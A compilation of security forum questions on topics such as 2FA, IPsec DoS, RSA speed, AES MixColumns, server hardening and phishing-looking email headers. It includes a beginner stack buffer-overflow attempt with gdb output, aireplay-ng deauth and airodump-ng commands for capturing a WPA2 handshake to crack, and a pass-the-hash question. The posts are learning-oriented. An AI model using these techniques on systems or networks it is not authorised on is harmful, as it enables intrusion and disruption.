I was managing my firewall using AVG and I noticed this was allowed:
I have north american locale, and sometimes Japanese locality(?), and that is not Japanese. It is getting through my firewall, but I have blocked it for the moment. I thought it was fitting to put it here; should I be wary of that?
|
We have a new IT guy that insists we do not need an SSL on our email. Quite a few people access their email from outside our office(network) via mobiles and home computers, often from WIFI connections. Shouldn't we be encrypting our emails? We are a software company that is responsible for millions of dollars worth of data, and we frequently email each other passwords and other sensitive data.
I would love some feed back as I plan to show my boss any high rated comments. Please spare nothing.
|
I am using social networking services such as
My Banking
GMail
PayPal
Facebook
Twitter
Google+
LinkedIn
All of these services text messages me a six digit code to login from anywhere, even a device which is recognized from previous logins. I have had several major attempts of people resetting and trying to recover my password from these services. They have managed to change my passwords and cause some locked accounts, distress, and basically making my life harder.
If it wasn't for the 2-Factor Authentication, my accounts would be in so much trouble and I would be fighting with these companies to try to repair my public image. I have had at least 57 attempts, and successful hackings of my accounts, yet stopped when they get to the login code that is required.
Is there a way to prevent this from happening any further? I've already taken the best security steps which I can manage, such as:
Different long, complex passwords (A-Z, a-z, 0-9, and all special characters)
Different emails for each service
2 Factor Authentication with all services
Completely random security questions and answers without relating information back to myself
Is there anymore steps I can take into insuring my safety online?
|
I have search a lot in the internet and I didn't find anything that is directly answer my question. What type of vulnerabilities are out there. I mean vulnerabilities like buffer overrun, not like XSS or SQLi etc.
Here is a short list of vulnerabilities I know that exist:
Buffer overruns(stack and heap)
Integer overflow
Format string vulnerability
Access Control Problems
Could anybody add something to this list?
|
I was sent an innocuous and genuine looking e-mail with "Welcome back to Facebook" from the address "notification+mnqx54sr@facebookmail.com". I deactivated my account long ago, so was a tad surprised. I was fooled since both the links in the e-mail were directed to the real facebook site, and the actual e-mail addy did not show, just the name, which was "facebook".
But this lead me wondering, as both the links in the e-mail were to the real facebook page, what could the sender possibly gain from such an e-mail?
Edits:
The e-mail addy was notification+mnqx54sr@facebookmail.com
Here is the e-mail (I changed my e-mail addy to myid and the server name to myserver):
Return-Path: <notification+mnqx54sr@facebookmail.com>
Received: from kasse06.itea.myserver (kasse06.itea.myserver [129.241.56.234])
by mot.itea.myserver (Cyrus v2.3.16-Fedora-RPM-2.3.16-6.el6_2.5) with LMTPA;
Sat, 03 May 2014 05:39:27 +0200
X-Sieve: CMU Sieve 2.3
Received: from localhost (localhost [127.0.0.1])
by kasse06.itea.myserver (Postfix) with ESMTP id 806762000F2
for <myidbak@stud.myserver>; Sat, 3 May 2014 05:39:27 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at kasse06.itea.myserver
X-Spam-Flag: NO
X-Spam-Score: -1.1
X-Spam-Level:
X-Spam-Status: No, score=-1.1 tagged_above=-999 required=5
tests=[BAYES_00=-3.6, DKIM_SIGNED=-0.001, DKIM_VALID=-0.1,
DKIM_VALID_AU=-0.1, DKIM_VERIFIED=-0.1, HTML_MESSAGE=0.001,
NTNU_PH_MAIL_SA=1.5, NTNU_PH_PHRS_91=2.9, NTNU_PH_URL_98=0.1,
RCVD_IN_DNSWL_LOW=-0.7, SPF_PASS=-0.001, T_NTNU_NICE_DKIM_SPF=-1,
UNPARSEABLE_RELAY=0.001] autolearn=no
Authentication-Results: kasse06.itea.myserver (amavisd-new); dkim=pass
header.i=@facebookmail.com
Received: from mx-out.facebook.com (outmail017.ash2.facebook.com [66.220.155.151])
by kasse06.itea.myserver (Postfix) with ESMTP id 9750A2003C2
for <myidbak@stud.myserver>; Sat, 3 May 2014 05:39:24 +0200 (CEST)
Received: from facebook.com (2lkICU/ZQQWprcP9zKuyAff/Lpyxvuvbl+Y44S1SuODxClBxdtqLF4w+pN51v+j+ 10.224.41.89)
by facebook.com with Thrift id 841465dad27411e3bddc0002c9e0e150-14dc74a0;
Fri, 02 May 2014 20:39:22 -0700
X-Facebook: from 2401:db00:3010:6056:face:0:4f:0 ([MTI3LjAuMC4x])
by www.facebook.com with HTTP (ZuckMail);
Date: Fri, 2 May 2014 20:39:22 -0700
To: myid Bakken Stovner <myidbak@stud.myserver>
From: "Facebook" <notification+mnqx54sr@facebookmail.com>
Reply-to: noreply <noreply@facebookmail.com>
Subject: Welcome back to Facebook
Message-ID: <6489aeacae881e13b9c2861e43ed7de5@www.facebook.com>
X-Priority: 3
X-Mailer: ZuckMail [version 1.00]
Errors-To: notification+mnqx54sr@facebookmail.com
X-Facebook-Notify: account_reactivation; mailid=9ce6218G2dd50372G0G158G3452e4b1
X-FACEBOOK-PRIORITY: 0
X-Auto-Response-Suppress: All
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="b1_6489aeacae881e13b9c2861e43ed7de5"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=facebookmail.com;
s=s1024-2013-q3; t=1399088362;
bh=9qoIL602ssAgEP/GBOT1a+TiZQpVHk1yxgybG72Q35c=;
h=Date:To:From:Subject:MIME-Version:Content-Type;
b=tVwl5S3WQ746wxhzHqG4iE9Kr5tLrybLPKLPlP+uTo0zon/XiJbu2n0RDsI7rv+1H
/+W0Dhv/NbuNuXDbrvxPHHA5CPuboFQ8iT44S/tv139l+ZUt+GJDoN2g3V/GMGjha0
yLwtXftW2J7p7EOAEWMCHq0VcTq44B0+/yB2oK9w=
--b1_6489aeacae881e13b9c2861e43ed7de5
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
Hi myid,
Hey myid,
The Facebook account associated with myidbak@stud.myserver was recently =
reactivated.
If you were not the one who reactivated this account, please visit our =
Help Center.
Thanks,
The Facebook Team
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
This message was sent to myidbak@stud.myserver at your request.
Facebook, Inc., Attention: Department 415, PO Box 10005, Palo Alto, CA =
94303
--b1_6489aeacae881e13b9c2861e43ed7de5
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional =
//EN"><html><head><title>Facebook</title><meta http-equiv=3D"Content-Type" =
content=3D"text/html; charset=3Dutf-8" /></head><body =
style=3D"margin:0;padding:0;" dir=3D"ltr"><table cellspacing=3D"0" =
cellpadding=3D"0" id=3D"email_table" =
style=3D"border-collapse:collapse;width:98%;" border=3D"0"><tr><td =
id=3D"email_content" style=3D"font-family:'lucida =
grande',tahoma,verdana,arial,sans-serif;font-size:12px;"><span =
style=3D"width:620px;color:#FFFFFF;display:none =
!important;font-size:1px;">Hey myid, The Facebook account associated with =
myidbak@stud.myserver was recently reactivated. If you were not the =
one who reactivated this account, please visit our Help Center =
.</span><table cellspacing=3D"0" cellpadding=3D"0" =
style=3D"border-collapse:collapse;width:620px;"><tr><td =
style=3D"font-size:16px;font-family:'lucida grande',tahoma,verda=
na,arial,sans-serif;background:#3b5998;color:#FFFFFF;font-weight:bold;vert=
ical-align:baseline;letter-spacing:-0.03em;text-align:left;padding:5px =
20px;"><a style=3D"text-decoration: none;" href=3D"https://www.facebook.co=
m/n/?help%2Fsecurity&medium=3Demail&mid=3D9ce6218G2dd50372G0G158G3=
452e4b1&bcode=3D1.1399088362.AbnGaQM9xIhr_Mbi&n_m=3Dmyidbak%40stu=
d.myserver"><span style=3D"background:#3b5998;color:#FFFFFF;font-weight:bol=
d;font-family:'lucida =
grande',tahoma,verdana,arial,sans-serif;vertical-align:middle; =
font-size:16px;letter-spacing:-0.03em;text-align:left;vertical-align:basel=
ine;">facebook</span></a></td></tr></table><table cellspacing=3D"0" =
cellpadding=3D"0" width=3D"620px" =
style=3D"border-collapse:collapse;width:620px;" border=3D"0"><tr><td =
style=3D"font-size:11px;font-family:LucidaGrande,tahoma,verdana,arial,sans=
-serif;padding:0px;background-color:#f2f2f2;border-left:none;border-right:=
none;border-top:none;border-bottom:none;"><table cellspacing=3D"0" =
cellpadding=3D"0" width=3D"620px" =
style=3D"border-collapse:collapse;"><tr><td style=3D"font-size:11px;font-f=
amily:LucidaGrande,tahoma,verdana,arial,sans-serif;padding:0px;width:620px=
;"><table cellspacing=3D"0" cellpadding=3D"0" border=3D"0" =
style=3D"border-collapse:collapse;width:100%;"><tr><td =
style=3D"font-size:11px;font-family:LucidaGrande,tahoma,verdana,arial,sans=
-serif;padding:20px;background-color:#fff;border-left:none;border-right:no=
ne;border-top:none;border-bottom:none;"><table cellspacing=3D"0" =
cellpadding=3D"0" style=3D"border-collapse:collapse;width:100%;"><tr><td =
style=3D"font-size:11px;font-family:LucidaGrande,tahoma,verdana,arial,sans=
-serif;"><table cellspacing=3D"0" cellpadding=3D"0" =
style=3D"border-collapse:collapse;width:100%;"><tr><td =
style=3D"font-size:11px;font-family:LucidaGrande,tahoma,verdana,arial,sans=
-serif;padding-bottom:5px;"><span style=3D"color:#333333;">Hey =
myid,</span></td></tr><tr><td style=3D"font-size:11px;font-family:LucidaG=
rande,tahoma,verdana,arial,sans-serif;padding-top:5px;padding-bottom:5px;"=
><span style=3D"color:#333333;">The Facebook account associated with =
myidbak@stud.myserver was recently =
reactivated.</span></td></tr><tr><td style=3D"font-size:11px;font-family:L=
ucidaGrande,tahoma,verdana,arial,sans-serif;padding-top:5px;"><span =
style=3D"color:#333333;">If you were not the one who reactivated this =
account, please visit our <a href=3D"https://www.facebook.com/n/?help%2Fse=
curity&medium=3Demail&mid=3D9ce6218G2dd50372G0G158G3452e4b1&bc=
ode=3D1.1399088362.AbnGaQM9xIhr_Mbi&n_m=3Dmyidbak%40stud.myserver" =
style=3D"color:#3b5998;text-decoration:none;">Help Center</a>.</span></td>=
</tr></table></td></tr></table></td></tr></table></td></tr><tr><td =
style=3D"font-size:11px;font-family:LucidaGrande,tahoma,verdana,arial,sans=
-serif;padding:0px;width:620px;"><table cellspacing=3D"0" =
cellpadding=3D"0" width=3D"100%" border=3D"0" =
style=3D"border-collapse:collapse;"><tr><td style=3D"font-size:11px;font-f=
amily:LucidaGrande,tahoma,verdana,arial,sans-serif;padding:0;background-co=
lor:#fff;border-left:none;border-right:none;border-top:1px solid =
#ccc;border-bottom:none;"></td></tr></table></td></tr></table></td></tr></=
table><table cellspacing=3D"0" cellpadding=3D"0" border=3D"0" =
style=3D"border-collapse:collapse;width:620px;"><tr><td =
style=3D"font-size:11px;font-family:'lucida grande', tahoma, =
verdana, arial, sans-serif;padding:30px 20px;background-color:#fff;border-=
left:none;border-right:none;border-top:none;border-bottom:none;color:#9999=
99;border:none;">This message was sent to <a =
href=3D"mailto:myidbak@stud.myserver" style=3D"color:#3b5998;text-dec=
oration:none;">myidbak@stud.myserver</a> at your request.<br =
/>Facebook, Inc., Attention: Department 415, PO Box 10005, Palo Alto, CA =
94303</td></tr></table><span style=3D"width:620px;"><img =
src=3D"https://www.facebook.com/email_open_log_pic.php?mid=3D9ce6218G2dd50=
372G0G158G3452e4b1" style=3D"border:0;width:1px;height:1px;" =
/></span></td></tr></table></body></html>
--b1_6489aeacae881e13b9c2861e43ed7de5--
|
Imagine: We have been given the source code of several software programs, some open source, others proprietary. What's the best strategy to analyze the source code in each case?
For example: We know that open source software is usually more reliable than commercial software. So I'm wondering if it's a good idea to, instead of inspecting the open source code line by line, download the original code from the web, and compare it with the code that's been given to us. If there's no difference, we conclude that the source code is probably safe and we can skip manual code inspection.
Is this practice acceptable? Are there other strategies that can speed up source code analysis?
|
Intrusion detection has been there for many years. It monitors network traffic and/or system events like sys calls or other data and determines whether an event is intrusion or not.
But I am curious what has a next generation IDS in addition to a classic one?
|
On IPSec protocol, how can denial of service (DoS) be prevented or its effect be minimized? For example, assume an attacker intercepts a packet and changes its sequence number to a bogus one (say 10 is changed to 100000). This will make the receiver slide the anti-replay window so far that real packets will be drooped (regarding them as being old) thereby denying them service. How can such attack be prevented on IPSec protocol? Thanks.
|
[Being a LastPass user] recently I moved to Google Authenticator instead of using Grid Authentication as a 2-factor security. For me, finding and filling letters from such a dense matrix is a rather clumsy task.
I have basic understanding how Grid, Google Auth some some other LastPass 2 factor-authentication work (Yubikey/Sesame, ...) In general Yubikey is considered slightly more secure than GoogleAuth, so I'm just wondering the comparision between the Grid and Google Authentication App.
Sample of a 6-digit random number generated by Google Authenticator App:
For example: the phone can be lost (it can be stolen or something). In that case, isn't it true that all the pseudo-random numbers being constantly generated by the app are easily exposed to the thief? (If one use the GoogleAuth app extensively, and if he does not protect his phone very seriously - well, doing so slows down our process to open the phone, so normally people just apply some simple pattern)
This is what a LastPass Grid looks like:
For Grid, the normal choice is to print it out and put it in a wallet. Of course, your wallet can also be lost, but if you do not need the grid very frequently, you can keep it at a safe place at home. Not carrying the grid around reduces the chance someone might get it. This is different from the phone: you always have to carry your phone around.
So paper-based grid may be clumsy, but from some certain perspective (as the example above), it seems better.
Now consider the "security" aspect, which one can be considered better secure (theoretically/practically) than the other, and why? Or they are just the same level?
It's not very easy to quickly find the corresponding content of the coordinates:
Edit: This guy has made a really good slide about Google authenticator. Well, the case of phone lost is somehow "trivial" but the seed to feed to TOTP is stored in plain-text.
http://www.slideshare.net/zerocool51/google-authenticator-possible-attacks-and-prevention?qid=1a8842ba-45bd-40c4-be0a-dedc19e0a85f&v=qf1&b=&from_search=1
|
I asked a question on stackoverflow, but guess this site is better suited for it.
Idea is to prevent problems when the next buffer overflow bug comes out.
In my understanding the problem with Heartbleed was the access to memory of previous requests? Isn't it possible to wipe the memory after using it? To use different memory spaces for each request, that are not accessible by the next one? If the web server (e.g. apache or nginx) is started with multiple processes, are they still sharing memory containing user information?
My question in short: Is it possible to configure Apache/Nginx/Linux/others to use a more secure model of memory access?
Performance reduction wouldn't matter since Heartbleed 2.0 will eventually come and then you just have a quick laugh instead of lots of work.
|
I got a message from D.O. about my Droplet saying they shut it down because there was a lot of outgoing traffic that looked like an attack. The site I had on that server was not very known at all. I'd be surprised if 20 people had seen it. It's not related to money or sensitive information at all.
Assuming D.O. is right, what are likely sources of this attack? Could it be through my own machine that I use to ssh onto my D.O. server with an ssh key? i.e., could someone have used my own machine illegitimately and remotely to ssh onto my Droplet? I'd be surprised if my own machine was compromised. It's running Linux and I only use it for development (no pirating or porn, etc.). Do I need to reinstall OS and clean my own machine or is it likely this alleged hacker/bot got in by some means unrelated to my own computer?
I know you can't know for sure in my own case, but any general information on this subject could help. Thanks.
|
I'm trying to quantify the exact risk I'm subjecting my PC to if leaving it with Windows XP as opposed to upgrading it to e.g. Windows 7, an upgrade that would be very time-costly in my case. I don't really go on "dodgy" websites and have a firewall & AV. Is there a risk that a new exploit/vulnerability that is uncovered for XP (and not patched due to this OS's support having ceased) will affect my computer in an "unprovoked" manner, just because it is connected to the Internet, and without me accessing a compromised web resource? For instance, will my PC will more vulnerable (with XP as opposed to Win 7) to attacks from the Internet that single out vulnerable OSs, such as ping-based attacks, DDoS etc?
|
I've been researching the disadvantages of using RSA for encryption, and one I've found repeatedly is that RSA decryption is slow, but I haven't seen an explanation as to why this is. Can anyone explain why this would be?
|
A malware file appeared on a friend's server as described in this question. It's a file called "images.php" that is designed to look like nothing important, whose sole function is to wait for an unknown party to send it some code to execute.
The server is on shared hosting. The hosting company adamantly insists that if it happened at all, the only possible explanation is that my friend's password was compromised (somehow). They have no interest whatsoever in the particulars of the attack or the possibility that other servers under their control may have been effected.
The offending file has been removed, all passwords have been changed, and nothing else seems to be out of place. The website in question is basically a business card and nothing was changed, so there is no damage to speak of. There is no reason to think that the attack was in any way targeted or personal. The owner and the hosted server are located in California, USA.
It would be easy to set up a replacement script for "images.php" that would log any requests without executing them. So my question is, is there any reason to do that? Is there any organization (law enforcement, security researchers, etc.) that would be interested to know about the attack, the code used, or any follow-up requests?
|
I understood that Windows users' password hashes can be exported very easily. Right? So my question is:
If I can have the hashes of other user accounts (e.g. local users on my Windows machine), isn't it good enough for me for impersonating other users?
For example, when a user tries to log into some web site using NTLM, only the HASH of the password is used for the challenge process. So if I already have this hash (as it is saved locally and can be exported easily), doesn't it mean that I can fake the challenge process? Why do I need to crack the password if the hash can be good enough for me?
|
I have many client devices that I need to reverse SSH tunnel into. I am finding that managing all these certificate files are becoming cumbersome. I am looking into a centralized authentication system.
I am also running a NodeJS server that first checks REDIS for proper authentication then saves sensor data to Mongo.
Is there a more scalable and unified technique for managing authentication of webservers and SSHD?
|
The problem lays in my brother two computers. I have few computers on my own on which on one of them I'm doing business with transactions and stuff like that. However I have one network on which all computers are connected and my little brother on his two computers has tons of stuff like viruses, malware and who knows what else not mentioning botnets.
Simple solutions like Firewall and Anti-Virus software doesn't help as he will click allow or accept file anyway. Believe me I have tried it but nothing seems to work here.
I was thinking of buying some cheap router, connect it to my combo box router, secure admin panel and make separate network in which he can download all that he wants.
I was also thinking about hardware firewall but I don't think it will secure my network from all that viruses and also my budget is very low.
How can I secure my network in my home environment ? Any other ideas ?
|
Does anyone have experience in setting up a responsible disclosure procedure for a company?
I'm interested in taking up a university assignment involving this.
I have read up on my governments guidelines to responsibilities of both the discloser and the organisation in charge of the information system, but I still have some questions about the actual implementation. For my university to accept this assignment, there have to be some technical challenges to overcome for this project to be found acceptable. Basically, if the project is found to be too easy, it gets rejected. So far, the only things I can come up with are:
Using an secure connection to make sure no attackers can intercept reports of vulnerabilities.
Encrypting the stored reports so that there is no easily available/readable list of vulnerabilities in the website for outsiders.
Authorization for viewing the data
Setting up an automated procedure for handling reports (a trusted person within the organisation receives the report and tries to replicate the vulnerability, and passes it on to the responsible party for fixing it).
If anyone has set up a responsible disclosure system already, and is willing to share: what other challenges did you face when setting up your RD system?
|
Can any of you security experts help me make a decision on how to deal with staffing for an initial hardening for an Apache server running MySQL and PHP?
We are working on a new site have to do initial hardening and I don't know if we should have the sysadmin do it or if we should get a security expert to do it. I know our sysadmin can do it, but is he "a security expert", definitely not. I did find this old post on how to harden an Apache server and I think he could follow the instructions. I also read the post on outsourcing security and want to clarify that most of it was not relevant because we would hire someone local for this.
So my questions:
Are there pros/cons to having a security expert do initial hardening for a MySQL server? If the security expert does the initial hardening, will I end up having to deal with the security expert again for routine changes?
We can pay more for better work, I just don't know if it is a good idea in long run and can use your expert advice.
|
I have some app-components on the same machine but in different languages which need to communicate. I am using socket communication over localhost to do so. The data transferred is confidential.
Should this communication be encrypted?
I mean an attacker would have to be able to run code on the machine in order to intercept this and in that case the user lost anyway, right?
|
First of all, please don't shout at me for wanting to use Skype. I know that it's evil and I fully expect all the calls and text chats going through it to be stored permanently in govt data centers, but let's pretend we don't care about that.
Assuming one installs it on Linux (if there's still a binary available), is it likely that it could spy on other applications, intercept the network traffic or scan personal files (in other words, act like spyware)?
Or maybe it's even possible for an attacker to execute random code on my computer (inject malware)?
I know that it's closed-source software, so we can't look at the source and know for sure, but maybe someone has run some tests, trying to figure out what Skype does in the background.
Edit, clarification (hopefully)
I have used the (strong) words "spyware" and "malware" and it seems the way I wrote my question is causing a "Skype is not a virus" kind of reaction. This is of course true and I'd probably give a similar answer to a "is it a virus, yes or no" question, but that's not my actual question. Rather than a personal estimate, I'd like to know if there is reason to believe that Skype might, for instance, scan all my files for keywords and send those to some lovely security organization (either on purpose or by accident, because of a bug - however not one that requires my interaction). Again, "reason to believe" is not based on what you think of Microsoft, but by evidence or at least suspicious findings.
Skype would usually be running as my user (i.e., called by ~/.config/autostart/Skype.desktop) so it can read all my files, just like any other program I (same user) run. I don't see why it would need root privileges to read things owned by my user, (u+r set, of course). "All my files" means all (regular) files under / that my user has read access to (think personal files, not /var/log/messages).
As for vulnerabilities in previous versions - almost all programs have bugs and some are critical. However I'm not interested in bugs that require my interaction (say, I have to place a malicious library file somewhere).
|
I'm beginner in exploits. So I had type simple program in C
#include <stdio.h>
void func(){
printf("asd");
}
main(){
char buf[100];
scanf("%s", &buf);
}
My goal is to run the func() and print asd. With 116 'A's I'm over writing the EIP but when I change the last 4 A's with the memory address of the function(in reverse order) and run the program again the EIP is something completely different. Here are details form GDB:
Starting program: /root/Documents/C/overflow/stack
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers
eax 0x1 1
ecx 0x1 1
edx 0xb7fbd354 -1208233132
ebx 0xb7fbbff4 -1208238092
esp 0xbffff4d0 0xbffff4d0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141
With address of the func:
(gdb) disas func
Dump of assembler code for function func:
0x0804846c <+0>: push %ebp
0x0804846d <+1>: mov %esp,%ebp
0x0804846f <+3>: sub $0x18,%esp
0x08048472 <+6>: movl $0x8048530,(%esp)
0x08048479 <+13>: call 0x8048340 <printf@plt>
0x0804847e <+18>: leave
0x0804847f <+19>: ret
Starting program: /root/Documents/C/overflow/stack
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x6c\x84\x04\x08
Program received signal SIGSEGV, Segmentation fault.
0x6336785c in ?? ()
If I add more A's to the string the EIP start overflowing with A's again I mean
Adding 1 A EIP = 0x36785c41
Adding 2 A's EIP = 0x785c4141
Adding 3 A's EIP = 0x78414141
Adding 4 A's EIP = 0x41414141
I'm running Linux, I didn't remove or edit anything in the kernel so there my be protections. Also I didn't disable any function on gcc, and the compiler is gcc =D.
Any help is welcome. Thanks in advance.
|
Just a theoretical question:
If I had ideal users, who all provide fully random 128-bit passwords,
And also, I invalidate every password shorter than 128 bits.
Then would I still need a slow hash function to store these passwords?
|
Cybersquatters register so many domains and sit on them for so long that the renewal fees alone would bankrupt anyone.
Do they have some kind of special status that lets them pay very low renewal fees? How do they obtain this?
I asked because about a year ago I did a "whois" on an obscure name I was pretty sure no one would have registered and, indeed, no one had registered it. However I didn't really need it and decided not to register it. Then I just did a 'whois' on it again and it turns out a domain squatter grabbed it soon after I did the 'whois' last year. Apparently these guys are getting info from the whois queries and acting on them -- but it seems they'd be put out of business by all the obscure names.
Any technique that enables cybersquatting is a security concern for those wanting to secure domain names.
|
Is it safe to post passwords to my web server in this manner?
NSURL *url=[NSURL URLWithString:@"http://mywebsite/test/register.php"];
NSData *postData = [post dataUsingEncoding:NSASCIIStringEncoding allowLossyConversion:YES];
NSString *postLength = [NSString stringWithFormat:@"%lu", (unsigned long)[postData length]];
NSMutableURLRequest *request = [[NSMutableURLRequest alloc] init];
[request setURL:url];
[request setHTTPMethod:@"POST"];
[request setValue:postLength forHTTPHeaderField:@"Content-Length"];
[request setValue:@"application/json" forHTTPHeaderField:@"Accept"];
[request setValue:@"application/x-www-form-urlencoded" forHTTPHeaderField:@"Content-Type"];
[request setHTTPBody:postData];
NSError *error = [[NSError alloc] init];
NSHTTPURLResponse *response = nil;
NSData *urlData=[NSURLConnection sendSynchronousRequest:request returningResponse:&response error:&error];
if ([response statusCode] >= 200 && [response statusCode] < 300)
{
NSString *responseData = [[NSString alloc]initWithData:urlData encoding:NSUTF8StringEncoding];
NSLog(@"Response ==> %@", responseData);
}
My server doesn't have https or any certificates, so is it still safe using the method above?
|
I am trying to go through all of the the steps in the Rijndael Encryption Algorithm using pencil and paper. I have been using http://www.formaestudio.com/rijndaelinspector/archivos/Rijndael_Animation_v4_eng.swf as an example. The mix columns step has a lot involved in it. To further explain it, I have been following http://www.angelfire.com/biz7/atleast/mix_columns.pdf . That is really nice because it uses the same numbers as in the first link. My problem is that when I get to the part that looks says this:
Now another thing to remember, there is a rule established in the multiplication of the values as
written in the book, Cryptography and Network Security[2], that multiplication of a value by x (ie.
by 02) can be implemented as a 1-bit left shift followed by a conditional bitwise XOR with (0001
1011) if the leftmost bit of the original value (before the shift) is 1. We can implement this rule in
our calculation.
{d4}.{02} = 1101 0100 << 1 (<< is left shift, 1 is the number of shift done, pad on with 0's)
= 1010 1000 XOR 0001 1011 (because the leftmost is a 1 before shift)
= 1011 0011 (ans)
Calculation:
1010 1000
0001 1011 (XOR)
---------
1011 0011
My questions is, where do they get the 0001 1011 from? They are supposed to XOR 1010 1000 by 02. Do I use this number every time, even for the next step which is {03} . {bf}? It looks like they use 0101 1101 for the XOR calculation.
It really helps to look at the pictures from the first link to follow along here.
|
In this question I will use the example of Linux OS, but I am also interested in general situation.
Linux OS distributions are famous for being open source and thus rather secure. But how can you be sure that the Linux that you set on your PC, with the installer you have downloaded, is coded with exactly the same code as is available in the source for everyone to read ? And same for other OS projects ?
|
I'm struggling to get a handshake from my router when using airodump. I'm running this from Kali Linux live CD.
airmon-ng shows my wireless card is an Atheros AR9462 using the ath9k - [phy0] driver. I believe this supports packet injection. aireplay-ng --test wlan0 and aireplay-ng --test mon0 show injection is working.
So, I'm attempting to crack the WPA2 PSK on my local network. I use:
airodump-ng -w output --bssid MY_BSSID mon0 -c 6
I've confirmed the BSSID and channels are correct.
I have my MacBook connected to my network, and it shows up when airodump is running. I wait until the #Data column shows about 5,000 then I send deauth packets whilst airodump is still running:
aireplay-ng --deauth 1 -a AP_BSSID mon0
I send one, wait a few moments and send another. I get no handshake. I've repeated, and still nothing. I've tried to send 100, but it just disconnects my laptop from the network (not a good idea lol).
I can't figure out what's going wrong. I've followed 2 different guides, and watched a video from BT that all show they're able to get a handshake.
Any ideas?
Edit: mon0 is in monitor mode.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.